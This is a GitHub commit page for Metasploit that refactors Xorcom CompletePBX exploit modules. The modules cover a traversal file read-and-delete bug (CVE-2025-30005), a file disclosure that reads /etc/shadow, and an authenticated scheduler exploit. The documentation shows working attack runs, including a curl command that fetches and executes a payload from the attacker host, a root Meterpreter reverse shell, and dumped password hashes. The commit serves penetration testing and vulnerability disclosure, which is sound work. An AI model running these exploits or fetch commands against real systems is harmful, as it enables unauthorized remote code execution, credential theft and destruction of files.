Skip to content

Commit b069038

Browse files
committed
feat(xorcom): add shared CompletePBX mixin, refactor modules, update docs
1 parent 136cc0a commit b069038

File tree

7 files changed

+211
-225
lines changed

7 files changed

+211
-225
lines changed

documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md

Lines changed: 55 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -42,9 +42,21 @@ run
4242

4343
## Options
4444

45-
- `USERNAME`: Admin username for authentication.
46-
- `PASSWORD`: Admin password for authentication.
47-
- `TARGETFILE`: Path of the file to retrieve (**before automatic deletion**).
45+
### USERNAME
46+
47+
Admin username for authentication.
48+
49+
### PASSWORD
50+
51+
Admin password for authentication.
52+
53+
### TARGETFILE
54+
55+
Path of the file to retrieve (**before automatic deletion**).
56+
57+
### DefangedMode
58+
59+
Safety switch (true by default). Set to **false** to actually perform the read-and-delete operation.
4860

4961
## Scenarios
5062

@@ -58,17 +70,32 @@ run
5870
**Steps**:
5971

6072
```bash
61-
msf6 auxiliary(xorcom_completepbx_diagnostics_file_read) > run https://rnd-repo.cpbxmt-demo187.xorcom.com
62-
[*] Running module against 142.93.233.32
73+
msf6 auxiliary(scanner/http/xorcom_completepbx_diagnostics_file_read) > run http://192.168.1.32/
74+
[*] Running module against 192.168.1.32
75+
[*] Running automatic check ("set AutoCheck false" to disable)
76+
[+] The target appears to be vulnerable.
77+
[-] Auxiliary aborted due to failure: bad-config:
78+
Are you *SURE* you want to execute the module against the target?
79+
Running this module will attempt to read and delete the file
80+
specified by TARGETFILE on the remote system.
81+
82+
If you have explicit authorisation, re-run with:
83+
set DefangedMode false
6384

64-
[*] Attempting authentication with username: admin
65-
[+] Authentication successful! Session ID: sid=c8f08002130196439747e488447260f48d595c51
66-
[*] Attempting to read file: ../../../../../../../../../../../etc/passwd
85+
[*] Auxiliary module execution completed
86+
msf6 auxiliary(scanner/http/xorcom_completepbx_diagnostics_file_read) > set DefangedMode false
87+
DefangedMode => false
88+
msf6 auxiliary(scanner/http/xorcom_completepbx_diagnostics_file_read) > run http://192.168.1.32/
89+
[*] Running module against 192.168.1.32
90+
[*] Running automatic check ("set AutoCheck false" to disable)
91+
[+] The target appears to be vulnerable.
92+
[!] This exploit WILL delete the target file if permissions allow.
93+
[*] Attempting to read file: ../../../../../../../../../../..//etc/passwd
6794
[*] ZIP file received, attempting to list files
6895
[*] Files inside ZIP archive:
69-
- ../../../../../../../../../../../etc/passwd
70-
- full_20250318_160522
71-
- audit_20250318_160522.log
96+
- ../../../../../../../../../../..//etc/passwd
97+
- full_20250716_191240
98+
- audit_20250716_191240.log
7299
[+] Content of /etc/passwd:
73100
root:x:0:0:root:/root:/bin/bash
74101
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
@@ -86,24 +113,24 @@ www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
86113
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
87114
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
88115
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
89-
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
116+
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
90117
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
91-
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
92-
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
93-
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
94-
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
95-
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
96-
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
97-
mysql:x:105:108:MySQL Server,,,:/nonexistent:/bin/false
98-
postfix:x:106:110::/var/spool/postfix:/usr/sbin/nologin
99-
tcpdump:x:107:112::/nonexistent:/usr/sbin/nologin
100-
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
101-
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
102-
Debian-snmp:x:110:113::/var/lib/snmp:/bin/false
103-
asterisk:x:111:114:Asterisk PBX daemon,,,:/var/lib/asterisk:/usr/sbin/nologin
104-
cc-cloud-rec:x:998:998::/var/lib/cc-cloud-rec:/sbin/nologin
105-
106-
[!] WARNING: This exploit causes the deletion of the requested file on the target if the privileges allows it.
118+
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
119+
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
120+
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
121+
avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
122+
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
123+
pbx:x:1000:1000:,,,:/home/pbx:/bin/bash
124+
mysql:x:103:111:MySQL Server,,,:/nonexistent:/bin/false
125+
postfix:x:104:113::/var/spool/postfix:/usr/sbin/nologin
126+
tcpdump:x:105:115::/nonexistent:/usr/sbin/nologin
127+
Debian-snmp:x:106:116::/var/lib/snmp:/bin/false
128+
_chrony:x:107:117:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
129+
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
130+
polkitd:x:996:996:polkit:/nonexistent:/usr/sbin/nologin
131+
asterisk:x:109:118:Asterisk PBX daemon,,,:/var/lib/asterisk:/usr/sbin/nologin
132+
cc-cloud-rec:x:999:995::/var/lib/cc-cloud-rec:/sbin/nologin
133+
107134
[*] Auxiliary module execution completed
108135
```
109136

documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md

Lines changed: 15 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -37,9 +37,17 @@ run
3737

3838
## Options
3939

40-
- `USERNAME`: Admin username for authentication.
41-
- `PASSWORD`: Admin password for authentication.
42-
- `TARGETFILE`: Path of the file to retrieve (Base64-encoded in request).
40+
### USERNAME
41+
42+
Admin username for authentication.
43+
44+
### PASSWORD`
45+
46+
Admin password for authentication.
47+
48+
### TARGETFILE
49+
50+
Path of the file to retrieve (Base64-encoded in request).
4351

4452
## Scenarios
4553

@@ -53,10 +61,10 @@ run
5361
**Steps**:
5462

5563
```bash
56-
msf6 auxiliary(admin/http/xorcom_completepbx_file_disclosure) > run http://192.168.56.101/
57-
[*] Running module against 192.168.56.101
58-
[*] Attempting authentication with username: admin
59-
[+] Authentication successful! Session ID: sid=535c401396c04a4c92266c2d1457200e6f7c391a
64+
msf6 auxiliary(scanner/http/xorcom_completepbx_file_disclosure) > run http://192.168.1.32/
65+
[*] Running module against 192.168.1.32
66+
[*] Running automatic check ("set AutoCheck false" to disable)
67+
[+] The target appears to be vulnerable.
6068
[*] Attempting to read file: /etc/shadow (Encoded as: ,L2V0Yy9zaGFkb3c=)
6169
[+] Content of /etc/shadow:
6270
root:$y$j9T$/vXScZij/ykAtLtP9H1nQ/$KK43hfpOrxdZwAZljjvS5dnF0ipg8NqpCOj9gbLJ9OA:19829:0:99999:7:::
@@ -92,11 +100,6 @@ dnsmasq:!:19829::::::
92100
polkitd:!*:19829::::::
93101
asterisk:!:19829::::::
94102
cc-cloud-rec:!:19829::::::
95-
<br /> <b>Fatal error</b>: Uncaught TypeError: proc_close(): supplied resource is not a valid process resource in /usr/share/ombutel/www/includes/helper.php:61
96-
Stack trace:
97-
#0 /usr/share/ombutel/www/includes/helper.php(61): proc_close()
98-
#1 [internal function]: ombutel\helper::ombutel\{closure}() #2 {main} thrown in <b>/usr/share/ombutel/www/includes/helper.php</b> on line <b>61</b><br />
99-
100103
[*] Auxiliary module execution completed
101104
```
102105

documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md

Lines changed: 29 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -44,8 +44,13 @@ run
4444

4545
## Options
4646

47-
- `USERNAME`: Admin username for authentication.
48-
- `PASSWORD`: Admin password for authentication.
47+
### USERNAME
48+
49+
Admin username for authentication.
50+
51+
### PASSWORD
52+
53+
Admin password for authentication.
4954

5055
## Scenarios
5156

@@ -59,35 +64,39 @@ run
5964
**Steps**:
6065

6166
```bash
62-
msf6 exploit(linux/http/xorcom_completepbx_scheduler) > run http://192.168.56.101/
63-
[*] Started reverse TCP handler on 192.168.56.1:4444
67+
msf6 exploit(linux/http/xorcom_completepbx_scheduler) > run http://192.168.1.32/
68+
[*] Command to run on remote host: curl -so ./HEuUpqtYDav http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA;chmod +x ./HEuUpqtYDav;./HEuUpqtYDav&
69+
[*] Fetch handler listening on 192.168.1.36:8080
70+
[*] HTTP server started
71+
[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
72+
[*] Started reverse TCP handler on 192.168.1.36:4444
6473
[*] Running automatic check ("set AutoCheck false" to disable)
6574
[*] Checking if the target is running CompletePBX...
66-
[+] Detected CompletePBX on 192.168.56.101:80
75+
[+] Detected CompletePBX on 192.168.1.32:80
6776
[+] The target appears to be vulnerable.
6877
[*] Attempting authentication with username: admin
69-
[+] Authentication successful! Session ID: sid=3b6c002860ddb5ca104e25eaa439b35052c443df
70-
[*] Creating malicious scheduled task with description: Ut quis eum sed.
78+
[+] Authentication successful! Session ID: sid=697e43b483efc1ac316461cde1fbb5d470abc3b4
79+
[*] Creating malicious scheduled task with description: Possimus quibusdam assumenda minima.
7180
[+] Malicious task successfully created.
72-
[*] Retrieving latest task ID for description: Ut quis eum sed....
73-
[+] Found task with ID: 38
74-
[*] Executing malicious task ID 38...
75-
[*] Sending stage (3045380 bytes) to 192.168.56.101
81+
[*] Retrieving latest task ID for description: Possimus quibusdam assumenda minima....
82+
[+] Found task with ID: 18
83+
[*] Executing malicious task ID 18...
84+
[*] Client 192.168.1.32 requested /LoPlnjEpeOexZNVppn6cAA
85+
[*] Sending payload to 192.168.1.32 (curl/7.88.1)
86+
[*] Transmitting intermediate stager...(126 bytes)
87+
[*] Sending stage (3045380 bytes) to 192.168.1.32
7688
[+] Task executed successfully!
77-
[*] Sending delete request (mode=delete) for task ID 38...
78-
[*] Sending delete request (mode=deleteConfirmed) for task ID 38...
79-
[+] Task 38 deleted successfully!
80-
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:33372) at 2025-03-18 17:18:23 +0100
81-
82-
meterpreter > getuid
83-
Server username: root
84-
meterpreter > sysinfo
89+
[*] Sending delete request (mode=delete) for task ID 18...
90+
[*] Sending delete request (mode=deleteConfirmed) for task ID 18...
91+
[+] Task 18 deleted successfully!
92+
[*] Meterpreter session 6 opened (192.168.1.36:4444 -> 192.168.1.32:40800) at 2025-07-16 21:11:31 +0200
93+
94+
meterpreter > sysinfo
8595
Computer : localhost.localdomain
8696
OS : Debian 12.5 (Linux 6.1.0-20-amd64)
8797
Architecture : x64
8898
BuildTuple : x86_64-linux-musl
8999
Meterpreter : x64/linux
90-
meterpreter >
91100
```
92101
93102
### Impact
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
# lib/msf/core/exploit/remote/http/xorcom_completepbx.rb
2+
module Msf
3+
class Exploit
4+
class Remote
5+
module HTTP
6+
#
7+
# Shared routines for Xorcom CompletePBX modules
8+
#
9+
module XorcomCompletePBX
10+
# Probe root page and return appropriate CheckCode
11+
# @return [Msf::Exploit::CheckCode]
12+
def is_completepbx
13+
vprint_status('Checking if the target is running CompletePBX...')
14+
res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'method' => 'GET')
15+
return Exploit::CheckCode::Unknown('No response from target.') unless res
16+
return Exploit::CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200
17+
18+
doc = res.get_html_document
19+
if doc.at('//meta[@name="description"][@content="CompletePBX"]') ||
20+
doc.at('//meta[@name="application-name"][@content="Ombutel"]')
21+
vprint_good("Detected CompletePBX on #{peer}")
22+
return Exploit::CheckCode::Appears
23+
end
24+
25+
Exploit::CheckCode::Safe('Target does not appear to be running CompletePBX.')
26+
end
27+
28+
# Authenticate with supplied USERNAME/PASSWORD and return session cookie
29+
# @return [String] the "sid=..." cookie value
30+
# @raise [Msf::Exploit::Failure] on authentication failure
31+
def completepbx_login
32+
vprint_status("Attempting authentication with username: #{datastore['USERNAME']}")
33+
res = send_request_cgi(
34+
'uri' => normalize_uri(target_uri.path, 'login'),
35+
'method' => 'POST',
36+
'ctype' => 'application/x-www-form-urlencoded',
37+
'vars_post' => {
38+
'userid' => datastore['USERNAME'],
39+
'userpass' => datastore['PASSWORD']
40+
}
41+
)
42+
unless res&.code == 200
43+
vprint_error('Authentication failed')
44+
fail_with(Failure::NoAccess, 'Authentication failed')
45+
end
46+
47+
sid = res.get_cookies.scan(/sid=[a-f0-9]+/).first
48+
unless sid
49+
vprint_error('No session ID received')
50+
fail_with(Failure::NoAccess, 'No session ID received')
51+
end
52+
53+
vprint_good("Authentication successful! Session ID: #{sid}")
54+
sid
55+
end
56+
end
57+
end
58+
end
59+
end
60+
end

modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb

Lines changed: 10 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,8 @@
55

66
class MetasploitModule < Msf::Auxiliary
77
include Msf::Exploit::Remote::HttpClient
8+
include Msf::Exploit::Remote::HTTP::XorcomCompletePBX
9+
prepend Msf::Exploit::Remote::AutoCheck
810

911
def initialize(info = {})
1012
super(
@@ -22,7 +24,9 @@ def initialize(info = {})
2224
2325
The vulnerability is identified as CVE-2025-30005.
2426
},
25-
'Author' => ['Valentin Lobstein'],
27+
'Author' => [
28+
'Valentin Lobstein' # Research and module development
29+
],
2630
'License' => MSF_LICENSE,
2731
'References' => [
2832
['CVE', '2025-30005'],
@@ -40,9 +44,8 @@ def initialize(info = {})
4044

4145
register_options(
4246
[
43-
OptString.new('TARGETURI', [true, 'Base path of the CompletePBX instance', '/']),
4447
OptString.new('USERNAME', [true, 'Username for authentication', 'admin']),
45-
OptString.new('PASSWORD', [true, 'Password for authentication' ]),
48+
OptString.new('PASSWORD', [true, 'Password for authentication']),
4649
OptString.new('TARGETFILE', [true, 'File to retrieve from the system', '/etc/passwd'])
4750
]
4851
)
@@ -53,35 +56,8 @@ def initialize(info = {})
5356
)
5457
end
5558

56-
def login
57-
print_status("Attempting authentication with username: #{datastore['USERNAME']}")
58-
59-
res = send_request_cgi({
60-
'uri' => normalize_uri(datastore['TARGETURI'], 'login'),
61-
'method' => 'POST',
62-
'ctype' => 'application/x-www-form-urlencoded',
63-
'vars_post' => {
64-
'userid' => datastore['USERNAME'],
65-
'userpass' => datastore['PASSWORD']
66-
}
67-
})
68-
69-
unless res
70-
fail_with(Failure::Unreachable, 'No response from target')
71-
end
72-
73-
unless res.code == 200
74-
fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}")
75-
end
76-
77-
sid_cookie = res.get_cookies.scan(/sid=[a-f0-9]+/).first
78-
79-
unless sid_cookie
80-
fail_with(Failure::NoAccess, 'Authentication failed: No session ID received')
81-
end
82-
83-
print_good("Authentication successful! Session ID: #{sid_cookie}")
84-
return sid_cookie
59+
def check
60+
is_completepbx
8561
end
8662

8763
def run
@@ -101,8 +77,8 @@ def run
10177
print_warning('This exploit WILL delete the target file if permissions allow.')
10278
sleep(2)
10379

104-
sid_cookie = login
105-
target_file = "../../../../../../../../../../..#{datastore['TARGETFILE']}"
80+
sid_cookie = completepbx_login
81+
target_file = "../../../../../../../../../../../#{datastore['TARGETFILE']}"
10682

10783
print_status("Attempting to read file: #{target_file}")
10884

0 commit comments

Comments
 (0)